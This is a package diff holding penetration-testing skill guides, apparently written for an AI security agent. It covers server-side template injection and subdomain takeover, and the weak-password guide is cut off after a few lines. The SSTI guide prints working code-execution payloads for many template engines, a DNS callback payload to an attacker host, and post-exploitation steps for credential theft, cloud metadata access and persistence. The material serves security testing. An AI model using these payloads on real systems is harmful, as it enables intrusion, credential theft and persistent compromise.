@gpzhang2001/sharpkit-skills 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (84) hide show
  1. package/LICENSE +201 -0
  2. package/README.md +12 -0
  3. package/THIRD_PARTY_NOTICES.md +48 -0
  4. package/lib/index.d.ts +2027 -0
  5. package/lib/index.d.ts.map +1 -0
  6. package/lib/index.js +70 -0
  7. package/lib/index.js.map +1 -0
  8. package/package.json +46 -0
  9. package/skills/analysis/counterevidence.md +185 -0
  10. package/skills/analysis/fix_verification.md +129 -0
  11. package/skills/analysis/severity_calibration.md +130 -0
  12. package/skills/analysis/source_aware_discovery.md +211 -0
  13. package/skills/cloud/aws.md +231 -0
  14. package/skills/cloud/azure.md +262 -0
  15. package/skills/cloud/gcp.md +194 -0
  16. package/skills/cloud/kubernetes.md +223 -0
  17. package/skills/coordination/root_agent.md +105 -0
  18. package/skills/coordination/source_aware_whitebox.md +47 -0
  19. package/skills/custom/api_spec_testing.md +61 -0
  20. package/skills/custom/dependency_cve_scanning.md +341 -0
  21. package/skills/custom/npx_confusion.md +233 -0
  22. package/skills/custom/source_aware_sast.md +192 -0
  23. package/skills/frameworks/django.md +214 -0
  24. package/skills/frameworks/fastapi.md +191 -0
  25. package/skills/frameworks/nestjs.md +225 -0
  26. package/skills/frameworks/nextjs.md +228 -0
  27. package/skills/protocols/graphql.md +276 -0
  28. package/skills/protocols/oauth.md +185 -0
  29. package/skills/reconnaissance/asset_discovery.md +150 -0
  30. package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
  31. package/skills/scan_modes/deep.md +164 -0
  32. package/skills/scan_modes/diff.md +86 -0
  33. package/skills/scan_modes/quick.md +68 -0
  34. package/skills/scan_modes/standard.md +99 -0
  35. package/skills/technologies/active_directory.md +233 -0
  36. package/skills/technologies/auth0.md +188 -0
  37. package/skills/technologies/electron_desktop_apps.md +181 -0
  38. package/skills/technologies/firebase.md +263 -0
  39. package/skills/technologies/grafana_prometheus.md +189 -0
  40. package/skills/technologies/llm_applications.md +257 -0
  41. package/skills/technologies/supabase.md +268 -0
  42. package/skills/tooling/agent_browser.md +551 -0
  43. package/skills/tooling/ffuf.md +72 -0
  44. package/skills/tooling/httpx.md +82 -0
  45. package/skills/tooling/hurl.md +99 -0
  46. package/skills/tooling/hypothesis.md +100 -0
  47. package/skills/tooling/katana.md +102 -0
  48. package/skills/tooling/naabu.md +68 -0
  49. package/skills/tooling/nmap.md +66 -0
  50. package/skills/tooling/nuclei.md +67 -0
  51. package/skills/tooling/python.md +109 -0
  52. package/skills/tooling/semgrep.md +72 -0
  53. package/skills/tooling/sqlmap.md +67 -0
  54. package/skills/tooling/subfinder.md +66 -0
  55. package/skills/vulnerabilities/agentic_system_security.md +207 -0
  56. package/skills/vulnerabilities/argument_injection.md +157 -0
  57. package/skills/vulnerabilities/authentication_jwt.md +166 -0
  58. package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
  59. package/skills/vulnerabilities/browser_security.md +192 -0
  60. package/skills/vulnerabilities/business_logic.md +178 -0
  61. package/skills/vulnerabilities/csrf.md +198 -0
  62. package/skills/vulnerabilities/header_injection.md +216 -0
  63. package/skills/vulnerabilities/http_request_smuggling.md +255 -0
  64. package/skills/vulnerabilities/idor.md +217 -0
  65. package/skills/vulnerabilities/information_disclosure.md +187 -0
  66. package/skills/vulnerabilities/insecure_deserialization.md +210 -0
  67. package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
  68. package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
  69. package/skills/vulnerabilities/mass_assignment.md +153 -0
  70. package/skills/vulnerabilities/nosql_injection.md +288 -0
  71. package/skills/vulnerabilities/open_redirect.md +165 -0
  72. package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
  73. package/skills/vulnerabilities/prototype_pollution.md +142 -0
  74. package/skills/vulnerabilities/race_conditions.md +181 -0
  75. package/skills/vulnerabilities/rce.md +250 -0
  76. package/skills/vulnerabilities/semantic_confusion.md +189 -0
  77. package/skills/vulnerabilities/sql_injection.md +190 -0
  78. package/skills/vulnerabilities/ssrf.md +186 -0
  79. package/skills/vulnerabilities/ssti.md +270 -0
  80. package/skills/vulnerabilities/subdomain_takeover.md +167 -0
  81. package/skills/vulnerabilities/weak_password_detection.md +200 -0
  82. package/skills/vulnerabilities/xss.md +206 -0
  83. package/skills/vulnerabilities/xxe.md +223 -0
  84. package/src/index.ts +89 -0
@@ -0,0 +1,270 @@
1
+ ---
2
+ name: ssti
3
+ description: Server-side template injection across Jinja / Mako / Velocity / Freemarker / Thymeleaf / Twig / Handlebars / EJS / ERB with engine fingerprinting, sandbox escape, and RCE gadget chains
4
+ ---
5
+
6
+ # Server-Side Template Injection
7
+
8
+ SSTI happens when user input reaches a template engine as syntax instead of as data — `{{user_input}}` rendered through Jinja, `${user_input}` through Velocity / SpEL, `<%= user_input %>` through ERB / EJS. The eventual impact is almost always RCE because template engines are designed to evaluate expressions and most leak access to the host language's runtime (Python builtins, Java reflection, JavaScript prototypes). The discovery cost is low — a `{{7*7}}` probe — but the gadget chain to RCE differs sharply per engine, so engine fingerprinting is the load-bearing step.
9
+
10
+ ## Attack Surface
11
+
12
+ **Input shapes that reach the renderer**
13
+ - Form fields, query / path / header values, cookies, JSON / GraphQL variables
14
+ - Filenames and file metadata processed by document / report templates
15
+ - Email subject / body / template-selector fields
16
+ - Theme / customization endpoints (CSS / HTML generation, dashboard widgets, webhook payload templates)
17
+ - Markdown / WYSIWYG content rendered through a templating layer downstream
18
+
19
+ **Code patterns that enable injection**
20
+ - User input concatenated into a template string before `render(template_str)` instead of passed as a context variable to `render(template_obj, context)`
21
+ - "Template editor" features for tenants / admins where the *template itself* is user-controllable
22
+ - `format()` / `sprintf()` / printf-style chains with user-controlled format string downstream of a template
23
+ - YAML / TOML / JSON values whose strings are later evaluated through a template
24
+
25
+ **Engines in scope**
26
+ - Python: Jinja2, Mako, Django (limited)
27
+ - Java: Velocity, Freemarker, Thymeleaf (with SpEL), JSP EL
28
+ - JS / Node: Handlebars, Nunjucks, EJS, Pug, Marko, Dust
29
+ - Ruby: ERB, Haml, Slim
30
+ - PHP: Twig, Smarty, Blade
31
+ - .NET: Razor, RazorEngine
32
+
33
+ ## High-Value Targets
34
+
35
+ - Email rendering pipelines (subject / body / "from" templates)
36
+ - PDF / report generators (server-side render → headless browser)
37
+ - CMS theme and plugin editors
38
+ - Webhook and notification payload templates
39
+ - API response formatters that interpolate strings (pagination labels, error messages, custom field renders)
40
+ - Admin / tenant template editors — explicit "edit your template" features
41
+
42
+ ## Reconnaissance
43
+
44
+ ### Injection Points
45
+
46
+ - Submit a benign string and grep responses (HTML, JSON, emails, PDFs) for verbatim reflection
47
+ - Anywhere user input ends up in a value that's clearly being templated (preview panes, "your message will look like…" panels) is high-signal
48
+ - Check error pages — many engines leak template syntax in stack traces
49
+
50
+ ### Engine Fingerprinting
51
+
52
+ The classic differential probe — most engines evaluate exactly one of these, identifying themselves:
53
+
54
+ | Probe | Renders to | Engine family |
55
+ |---|---|---|
56
+ | `{{7*7}}` | `49` | Jinja2 / Twig / Nunjucks |
57
+ | `{{7*'7'}}` | `7777777` (Jinja) or `49` (Twig) | distinguishes Jinja from Twig |
58
+ | `${7*7}` | `49` | Velocity / Freemarker / SpEL / JSP EL / Thymeleaf |
59
+ | `<%= 7*7 %>` | `49` | ERB / EJS |
60
+ | `#{7*7}` | `49` | Pug / some Ruby contexts |
61
+ | `{{= 7*7 }}` | `49` | doT.js |
62
+
63
+ For Thymeleaf specifically, the `*{...}` selection-expression form also evaluates but only inside a `th:object` scope; `${...}` is the universal probe.
64
+
65
+ Secondary signals: error message text (engine name in stack trace), comment-syntax differential (`{# #}` Jinja vs `<%# %>` ERB vs `{* *}` Smarty), filter syntax (`|` vs `:` vs space).
66
+
67
+ ### Blind Probes
68
+
69
+ When output isn't reflected:
70
+
71
+ - **Time-based**: payload that triggers a sleep on the host language (`{{''.__class__.__mro__[1].__subclasses__()[<idx>](...)}}` for Jinja, `${T(java.lang.Thread).sleep(5000)}` for SpEL, `<%= sleep(5) %>` for ERB)
72
+ - **OAST**: payload that performs a DNS lookup or HTTP fetch to attacker infrastructure (`{{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}}`)
73
+ - **Length / ETag diff**: payload whose evaluation changes the body length, even if the value isn't directly visible
74
+
75
+ ## Key Vulnerabilities
76
+
77
+ ### Jinja2 / Mako (Python)
78
+
79
+ The classic Python class walk — every object exposes its method-resolution-order, which leads to `object`, which exposes every subclass loaded in the interpreter, which includes things like `subprocess.Popen`:
80
+
81
+ ```jinja
82
+ {{''.__class__.__mro__[1].__subclasses__()}}
83
+ ```
84
+
85
+ Locate a useful subclass and call it. Common gadgets when builtins are reachable through globals:
86
+
87
+ ```jinja
88
+ {{cycler.__init__.__globals__.os.popen('id').read()}}
89
+ {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
90
+ {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
91
+ ```
92
+
93
+ Sandbox bypass: even with `SandboxedEnvironment`, attribute-lookup tricks (`|attr('__class__')`) and `request.environ` access can re-introduce reachability. Check whether the app exposes `request`, `config`, `cycler`, or any framework global into the template context.
94
+
95
+ ### Velocity / Freemarker / Thymeleaf (Java)
96
+
97
+ SpEL (Spring Expression Language) — used by Thymeleaf and various Spring components — reaches `Runtime` via the `T()` type operator. Note that `Runtime.exec()` returns a `java.lang.Process` object whose `toString()` is `"Process[pid=...]"`, **not** the command's stdout. To get reflected output you need to consume the process's `InputStream`:
98
+
99
+ ```spel
100
+ ${T(java.lang.Runtime).getRuntime().exec('id')}
101
+ ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
102
+ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
103
+ ```
104
+
105
+ The first form confirms execution (rendered Process object proves the call ran); the Scanner form is universally available; the `IOUtils` form is shorter when Apache Commons IO is on the classpath. For blind contexts, validate via OAST or sleep.
106
+
107
+ Freemarker's `freemarker.template.utility.Execute` is the canonical RCE gadget when not denylisted, and unlike `Runtime.exec` it returns the command output as a string directly:
108
+
109
+ ```freemarker
110
+ <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
111
+ ```
112
+
113
+ Velocity gadgets typically don't have `$Runtime` in context — that's not a standard Velocity built-in. The portable approach is string-class reflection from any reachable object:
114
+
115
+ ```velocity
116
+ #set($s = "")
117
+ #set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
118
+ $r.exec("id")
119
+ ```
120
+
121
+ This requires the default `UberspectImpl` (Velocity 1.x and Velocity 2.x without `SecureUberspector`); same `Process.toString()` caveat applies — capture stdout via `Scanner` or `BufferedReader` if reflected output is needed. If the application uses Velocity Tools, `$class` (a `ClassTool`) is often in scope and shortens the chain considerably.
122
+
123
+ Thymeleaf SSTI requires control over the *template source*, not just over a model variable bound into the template — normal Spring MVC binding renders `${userInput}` as a value, never re-evaluated as SpEL. The exploitable surface is `templateEngine.process(userControlledString, ctx)`, admin-editable email / notification templates, and template fragments composed from user input. When that surface exists, the same SpEL payloads apply:
124
+
125
+ ```html
126
+ <div th:utext="${T(java.lang.Runtime).getRuntime().exec('id')}"></div>
127
+ <div th:utext="${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}"></div>
128
+ ```
129
+
130
+ Confusing this with normal model binding produces false positives — confirm the template source itself is attacker-influenced before flagging.
131
+
132
+ ### Smarty / Twig / Blade (PHP)
133
+
134
+ Twig sandbox bypasses are version-specific. The canonical historical gadget (Twig 1.x) registered `system` as an undefined-filter callback, then invoked it through the filter pipeline:
135
+
136
+ ```twig
137
+ {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
138
+ ```
139
+
140
+ This was patched — in Twig 2.x / 3.x `_self` returns the template name as a string and no longer exposes `.env`. Modern bypasses depend on which extensions are loaded and the active sandbox policy; consult Twig's published security advisories for the current state and probe with the version-specific gadgets (filter/function abuse, reflection on `_context` in some configs).
141
+
142
+ Smarty `{php}...{/php}` was the historical RCE primitive; deprecated in Smarty 3 and removed in 4. On modern Smarty, the surface is static-method invocation and template-object reflection — `{$smarty.template_object->smarty->...}` walks back to the Smarty engine, and direct static calls on whitelisted classes (e.g. `{Smarty_Internal_Write_File::writeFile(...)}` on misconfigured installs) reach the filesystem. Probe both before assuming Smarty is hardened.
143
+
144
+ Blade (Laravel) compiles templates to PHP on first render and caches the compiled output, so the dangerous paths are runtime: `Blade::render($userControlledString, ...)`, `Blade::compileString(...)` with user input, or any reachable `@php ... @endphp` block whose body is composed from user input — all three are direct RCE.
145
+
146
+ ### ERB / Haml (Ruby)
147
+
148
+ Direct Ruby evaluation — backticks are the shortest path that *reflects* command output:
149
+
150
+ ```erb
151
+ <%= `id` %>
152
+ <%= IO.popen('id').read %>
153
+ <% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %>
154
+ <%= system('id') %>
155
+ ```
156
+
157
+ The first three render the command's stdout into the response. `system('id')` returns `true`/`false` and prints the command output to the *server's* stdout, not the HTTP body — useful for confirming execution succeeded but not for capturing output. Pair with OAST or a side-effect (file write, DNS lookup) when the response doesn't reflect anything.
158
+
159
+ Haml is the same risk surface in different syntax. `instance_eval` / `class_eval` chained off any reachable object becomes RCE.
160
+
161
+ ### Handlebars / Nunjucks / EJS (JavaScript)
162
+
163
+ EJS evaluates inline JavaScript:
164
+
165
+ ```ejs
166
+ <%= require('child_process').execSync('id').toString() %>
167
+ ```
168
+
169
+ Nunjucks via constructor walk on reachable objects:
170
+
171
+ ```nunjucks
172
+ {{range.constructor("return require('child_process').execSync('id')")()}}
173
+ ```
174
+
175
+ Handlebars itself is harder (default helpers are restricted), but custom helpers that pass arguments to `eval`, `Function`, or `child_process` re-open the surface. Also probe for prototype pollution as an SSTI amplifier — once `Object.prototype` is polluted, downstream template logic may execute attacker-controlled code paths.
176
+
177
+ ## Bypass Techniques
178
+
179
+ **Sandbox escape — generic patterns**
180
+ - **Attribute lookup instead of direct access**: `{{x.__class__}}` blocked? try `{{x|attr('__class__')}}`
181
+ - **Class walk to recover deleted builtins**: `{{[].__class__.__base__.__subclasses__()}}` enumerates everything loaded
182
+ - **String constructor games**: `'__import__'.__class__` etc., when literal `__import__` is filtered
183
+ - **Filter / function aliasing**: same callable reachable via different names — find one not on the denylist
184
+ - **Implicit conversion**: object whose `__str__` / `toString` triggers code, coerced via concatenation
185
+
186
+ **Filter and parser evasion**
187
+ - Whitespace / case variants in keywords: `{{7 *7}}`, `{{ 7*7 }}`, `{{7*7}}`
188
+ - String concatenation to assemble denylisted identifiers: `{{('__cl'+'ass__')}}`, `{{request|attr('__cl'~'ass__')}}` — splits a token without a comment (Jinja's lexer doesn't recognize `{#` inside expression mode, so SQL-style `/**/` token splitting doesn't work here)
189
+ - Encoding layering: payload arrives URL-encoded, JSON-decoded, then template-rendered — pick the encoding that survives the filter but is decoded before render
190
+ - Operator precedence games: `((7)*(7))`, `7**7`, `7+0+7`
191
+ - Null byte truncation: `{{x%00.evil}}` — terminates payload for some pre-template filters but not the template parser
192
+ - Unicode normalization: smart quotes, fullwidth digits — bypasses naive denylists, normalizes back during render
193
+
194
+ **Polyglot and chained evaluation**
195
+ - Multi-engine pipelines: output of engine A feeds engine B — craft payload valid in both, or escape A and inject for B
196
+ - Markdown / RST embedded in a template — Markdown parser may strip your payload, but a code block survives and reaches the template
197
+ - Format string → template: printf-style format applied before template render; payload that's inert as a format string but live as a template
198
+
199
+ ## RCE Primitives
200
+
201
+ **Direct command execution by language**
202
+ - Python: `os.system`, `os.popen`, `subprocess.run`, `subprocess.Popen`, `__import__('os').system`
203
+ - Java: `Runtime.getRuntime().exec`, `ProcessBuilder`, `freemarker.template.utility.Execute`
204
+ - Ruby: backticks, `system`, `exec`, `Open3.capture2`, `IO.popen`, `%x{}`
205
+ - JavaScript / Node: `require('child_process').execSync` / `exec` / `spawn`; `require.main.require(...)` when nested module loading is needed (`process.mainModule` is the older form, deprecated since Node 14 but still present in most CJS contexts)
206
+ - PHP: `system`, `passthru`, `exec`, `shell_exec`, backticks, `popen`
207
+
208
+ **Indirect / second-stage**
209
+ - File write to webroot → trigger via subsequent HTTP request (when shell exec is blocked but file write isn't)
210
+ - Define a function / macro inline that runs on next render
211
+ - Unsafe deserialization gadget invoked through template (Java `ObjectInputStream`, Python `pickle`, PHP `unserialize`)
212
+ - DNS / HTTP exfiltration when shell exec produces no observable output
213
+
214
+ ## Post-Exploitation
215
+
216
+ - Environment dump (`env`, `os.environ`, `System.getenv`) — credentials, cloud metadata tokens, internal URLs
217
+ - Cloud metadata fetch (`http://169.254.169.254/latest/meta-data/`, `http://metadata.google.internal/`) — IAM tokens
218
+ - Read filesystem secrets (`.env`, `.aws/credentials`, `~/.ssh/`, `/proc/self/environ`)
219
+ - Lateral via internal HTTP — service mesh endpoints reachable from the rendering host
220
+ - Persistence: cron, scheduled task, systemd unit, `~/.ssh/authorized_keys`, web shell in webroot
221
+
222
+ ## Testing Methodology
223
+
224
+ 1. **Find templated input** — anywhere a server clearly templated user input (preview panes, email previews, dynamic dashboards, custom fields)
225
+ 2. **Fingerprint the engine** — run the differential probe table; confirm with a second probe
226
+ 3. **Confirm evaluation, not reflection** — `{{7*7}}` rendering as `49` (not `{{7*7}}` literally) is the line between XSS and SSTI
227
+ 4. **Probe sandbox state** — try `{{self}}`, `{{config}}`, `{{request}}`, `{{cycler}}` (Jinja); `${self}`, `${T(java.lang.Class)}` (Java); `<%= self %>` (Ruby) — reachable globals are the gadget pool
228
+ 5. **Enumerate gadgets** — class walk for Python / Node, reflection for Java, `require` chain for Node
229
+ 6. **Reach RCE** — pick the shortest gadget chain to a shell-equivalent primitive
230
+ 7. **Validate side effects** — DNS callback, file write, sleep — anything observable that proves execution
231
+
232
+ ## Validation
233
+
234
+ 1. Show evaluated output for two distinct expressions (`{{7*7}}` → `49` and `{{7*8}}` → `56`) to rule out coincidence or hard-coded reflection
235
+ 2. Demonstrate object access (`{{self.__class__}}`, `${T(java.lang.Class)}`) confirming runtime reflection
236
+ 3. Demonstrate side effect — DNS lookup to attacker-controlled domain, sleep with measurable delta, file written to a known path
237
+ 4. For RCE: command output captured in response, file written, or OAST callback containing command output
238
+ 5. Provide minimal payload — the simplest expression that reaches RCE, not the kitchen-sink polyglot
239
+
240
+ ## False Positives
241
+
242
+ - Template syntax reflected literally (`{{7*7}}` rendered as `{{7*7}}`) — that's XSS-shaped, not SSTI
243
+ - Sandboxed environments where reflection succeeds but reachable objects expose nothing useful (Jinja `SandboxedEnvironment` with no `request` / `config` in context)
244
+ - Client-side template engines (Vue, Angular, Mustache running in the browser) — that's client-side template injection, different impact (XSS, not RCE)
245
+ - Markdown / static-site generators that template at build time only, with no user input reaching the build
246
+ - Engines where the output is HTML-escaped before display, masking evaluation as XSS-like reflection — verify with a non-HTML probe (`{{7*7}}` numeric)
247
+
248
+ ## Impact
249
+
250
+ - Remote code execution on the rendering host (the default outcome — almost every engine leaks a path to it)
251
+ - Server-side data exfiltration via gadget chains (filesystem, env vars, internal HTTP)
252
+ - Cloud credential theft via metadata service access from the compromised host
253
+ - Lateral movement into internal services reachable from the renderer
254
+ - Persistent backdoor via web shell or service-account key planting
255
+ - Build / supply-chain compromise when the templated content is a build artifact
256
+
257
+ ## Pro Tips
258
+
259
+ 1. Always confirm with a second math probe (`{{7*8}}`) before celebrating — single-shot reflection of `49` could be coincidental
260
+ 2. Engine fingerprint first, gadget chain second — wrong-engine payloads are wasted requests and noise in WAF logs
261
+ 3. For Jinja, the highest-yield reachable global varies by framework (`request` in Flask, `config` always present, `cycler` in older Jinja); spray all three before walking subclasses
262
+ 4. SpEL is everywhere in Spring stacks — Thymeleaf, Spring Security expression language, Spring Cloud Gateway routes; the same payload shape (`${T(java.lang.Runtime)...}`) works across all of them
263
+ 5. EJS / Nunjucks are common in Express / Koa apps — `require('child_process').execSync('id')` if `require` is in scope (EJS), or escape via `range.constructor("return require('child_process')...")()` for Nunjucks; `process.mainModule.require(...)` is the older form, deprecated since Node 14
264
+ 6. Sandbox escapes are usually one indirection away — `attr` lookup, constructor traversal, MRO walk; most "sandboxed" environments still reach the runtime if you go through attribute access instead of direct reference
265
+ 7. Output not reflected? Time-based and OAST work as well as for SQLi — `${T(java.lang.Thread).sleep(5000)}` for SpEL, `{{cycler.__init__.__globals__.__import__('time').sleep(5)}}` (or the `request.application.__globals__.__builtins__` walk in Flask) for Jinja — bare `__import__` is not in the template namespace and will raise `UndefinedError`
266
+ 8. Email previews and PDF generators are gold mines — they're often built on the same engine as the public site but exposed to less-validated input flows
267
+
268
+ ## Summary
269
+
270
+ SSTI is fundamentally different from XSS at the same syntactic location: the payload runs on the server, in the host language, with whatever objects the engine exposes. Engine fingerprinting via the math-probe table narrows the search space immediately. From there it's a race between the sandbox's denylist and the language's reflection capability — and the language usually wins. Treat any user input that reaches a template renderer (not a templated context variable) as RCE-shaped until proven sandboxed.
@@ -0,0 +1,167 @@
1
+ ---
2
+ name: subdomain-takeover
3
+ description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources
4
+ ---
5
+
6
+ # Subdomain Takeover
7
+
8
+ Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
9
+
10
+ Use `infrastructure_lifecycle` instead for expired registrable domains, MX/recovery identity, update/control endpoints, or long-lived software consumers. Provider error fingerprints are leads; confirm current claimability and custom-domain ownership requirements from authoritative provider behavior/documentation.
11
+
12
+ ## Attack Surface
13
+
14
+ - Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
15
+ - Orphaned NS delegations (child zones with abandoned/expired nameservers)
16
+ - Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
17
+ - CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
18
+ - Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
19
+
20
+ ## Reconnaissance
21
+
22
+ ### Enumeration Pipeline
23
+
24
+ - Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs
25
+ - Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx
26
+ - Record graph: build a CNAME graph and collapse chains to identify external endpoints
27
+
28
+ ### DNS Indicators
29
+
30
+ - CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`
31
+ - Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers
32
+ - MX to third-party mail providers with decommissioned domains
33
+ - TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings
34
+
35
+ ### HTTP Fingerprints
36
+
37
+ Service-specific unclaimed messages (examples):
38
+ - **GitHub Pages**: "There isn't a GitHub Pages site here."
39
+ - **Fastly**: "Fastly error: unknown domain"
40
+ - **Heroku**: "No such app" or "There's nothing here, yet."
41
+ - **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist"
42
+ - **CloudFront**: 403/400 with "The request could not be satisfied"
43
+ - **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified
44
+ - **Shopify**: "Sorry, this shop is currently unavailable"
45
+
46
+ TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain
47
+
48
+ ## Key Vulnerabilities
49
+
50
+ ### Claim Third-Party Resource
51
+
52
+ - Create the resource with the exact required name:
53
+ - Storage/hosting: S3 bucket "sub.example.com" (website endpoint)
54
+ - Pages hosting: create repo/site and add the custom domain
55
+ - Serverless/app hosting: create app/site matching the target hostname
56
+
57
+ ### CDN Alternate Domains
58
+
59
+ - Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
60
+ - Upload a TLS cert or use managed cert issuance
61
+
62
+ ### NS Delegation Takeover
63
+
64
+ - If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS
65
+ - Publish records to control all hosts under the delegated subzone
66
+
67
+ ### Mail Surface
68
+
69
+ - If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain
70
+
71
+ ## Advanced Techniques
72
+
73
+ ### Blind and Cache Channels
74
+
75
+ - CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured
76
+ - Cache poisoning: once taken over, exploit cache keys to persist malicious responses
77
+
78
+ ### CT and TLS
79
+
80
+ - Use CT logs to detect unexpected certificate issuance for your subdomain
81
+ - For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
82
+
83
+ ### OAuth and Trust Chains
84
+
85
+ - If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection
86
+
87
+ ### Verification Gaps
88
+
89
+ - Look for providers that accept domain binding prior to TXT verification
90
+ - Race windows: re-claim resource names immediately after victim deletion
91
+
92
+ ### Wildcards and Fallbacks
93
+
94
+ - Wildcard CNAMEs to providers may expose unbounded subdomains
95
+ - Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses
96
+
97
+ ## Special Contexts
98
+
99
+ ### Storage and Static
100
+
101
+ - S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname
102
+ - Website vs API endpoints differ in claimability and fingerprints
103
+
104
+ ### Serverless and Hosting
105
+
106
+ - GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary
107
+ - Most require TXT now, but historical projects may not
108
+
109
+ ### CDN and Edge
110
+
111
+ - CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs
112
+ - Some products historically allowed alt-domain claims without proof
113
+
114
+ ### DNS Delegations
115
+
116
+ - Child-zone NS delegations outrank parent records
117
+ - Control of delegated NS yields full control of all hosts below that label
118
+
119
+ ## Testing Methodology
120
+
121
+ 1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory
122
+ 2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains
123
+ 3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs
124
+ 4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures
125
+ 5. **Attempt claim** (with authorization) - Create missing resource with exact required name
126
+ 6. **Validate control** - Serve minimal unique payload; confirm over HTTPS
127
+
128
+ ## Validation
129
+
130
+ 1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details
131
+ 2. After claim: serve unique content and verify over HTTPS at the target subdomain
132
+ 3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
133
+ 4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
134
+
135
+ ## Severity
136
+
137
+ - Score severity based on current claimability plus trusted-origin impact, not just a provider-branded error page
138
+ - When evaluating severity, use `web_search` (if available) for the exact provider/product to confirm whether it now enforces subdomain takeover prevention such as TXT/custom-domain ownership verification or reserved-hostname protections; if search is unavailable, do not treat that absence as evidence that the provider prevents claiming
139
+ - If you have positively confirmed the provider currently prevents third-party claiming and you cannot bypass that control, treat the finding as low severity rather than a confirmed takeover — an unconfirmed provider control is not grounds for downgrading
140
+ - Reserve high/critical severity for cases where you can claim the resource or strongly prove claimability and show meaningful impact such as OAuth redirect abuse, cookie scope abuse, CSP trust, email receipt, or NS delegation control. E.g. Elastic Beanstalk takeovers are still generally legitimate.
141
+
142
+ ## False Positives
143
+
144
+ - "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
145
+ - Provider-branded default pages for valid, owned resources (not a takeover)
146
+ - Soft 404s from your own infrastructure or catch-all vhosts
147
+
148
+ ## Impact
149
+
150
+ - Content injection under trusted subdomain: phishing, malware delivery, brand damage
151
+ - Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins
152
+ - OAuth/SSO abuse via whitelisted redirect URIs
153
+ - Email delivery manipulation for subdomain
154
+
155
+ ## Pro Tips
156
+
157
+ 1. Build a pipeline: enumerate (subfinder) → resolve (dig) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
158
+ 2. Maintain a current fingerprint corpus; provider messages change frequently
159
+ 3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
160
+ 4. Monitor CT for unexpected certs on your subdomains
161
+ 5. Eliminate dangling DNS in decommission workflows first
162
+ 6. For NS delegations, treat any expired nameserver domain as critical
163
+ 7. Use CAA to limit certificate issuance while you triage
164
+
165
+ ## Summary
166
+
167
+ Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.
@@ -0,0 +1,200 @@
1
+ ---
2
+ name: weak-password-detection
3
+ description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and HTTP fuzzing / NSE brute-force tooling
4
+ ---
5
+
6
+ # Weak Password Detection / Credential Brute-Force
7
+
8
+ Weak or default credentials remain one of the most prevalent and high-impact vulnerabilities. This skill covers systematic detection of weak passwords through dictionary attacks, credential stuffing, system-generated password prediction, and brute-force tooling.
9
+
10
+ ## Attack Surface
11
+
12
+ - Login portals (web, API, mobile, SSH, FTP, Telnet, RDP)
13
+ - Admin panels, dashboards, and management interfaces
14
